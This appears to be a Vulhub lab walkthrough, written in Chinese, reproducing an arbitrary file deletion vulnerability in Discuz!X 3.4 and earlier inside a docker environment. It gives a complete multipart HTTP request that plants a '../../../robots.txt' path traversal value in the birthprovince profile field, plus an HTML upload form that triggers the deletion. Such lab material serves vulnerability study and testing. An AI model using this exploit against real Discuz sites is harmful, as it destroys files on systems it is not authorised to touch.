Discuz!X ≤3.4 任意文件刪除漏洞
Path discuz/x3.4-arbitrary-file-deletion
影響版本:Discuz!X ≤3.4
漏洞詳情:https://lorexxar.cn/2017/09/30/dz-delete/
啟動環境
執行下列命令部署 Discuz!X 安裝環境
docker-compose up -d
安裝時,只用修改數據庫地址為db,其他保持默認即可:

漏洞復現
訪問http://your-ip/robots.txt可見robots.txt是存在的:

注冊用戶后,在個人設置頁面找到自己的formhash:

帶上自己的Cookie、formhash發送如下數據包:
POST /home.php?mod=spacecp&ac=profile&op=base HTTP/1.1
Host: localhost
Content-Length: 367
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPFvXyxL45f34L12s
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.79 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: [your cookie]
Connection: close
------WebKitFormBoundaryPFvXyxL45f34L12s
Content-Disposition: form-data; name="formhash"
[your formhash]
------WebKitFormBoundaryPFvXyxL45f34L12s
Content-Disposition: form-data; name="birthprovince"
../../../robots.txt
------WebKitFormBoundaryPFvXyxL45f34L12s
Content-Disposition: form-data; name="profilesubmit"
1
------WebKitFormBoundaryPFvXyxL45f34L12s--
提交成功之后,用戶資料修改頁面上的出生地就會顯示成下圖所示的狀態:

說明我們的臟數據已經進入數據庫了。
然后,新建一個upload.html,代碼如下,將其中的[your-ip]改成discuz的域名,[form-hash]改成你的formhash:
<body>
<form action="http://[your-ip]/home.php?mod=spacecp&ac=profile&op=base&profilesubmit=1&formhash=[form-hash]" method="post" enctype="multipart/form-data">
<input type="file" name="birthprovince" />
<input type="submit" value="upload" />
</form>
</body>
用瀏覽器打開該頁面,上傳一個正常圖片。此時臟數據應該已被提取出,漏洞已經利用結束。
再次訪問http://your-ip/robots.txt,發現文件成功被刪除:

Vulhub 文檔
推薦文章: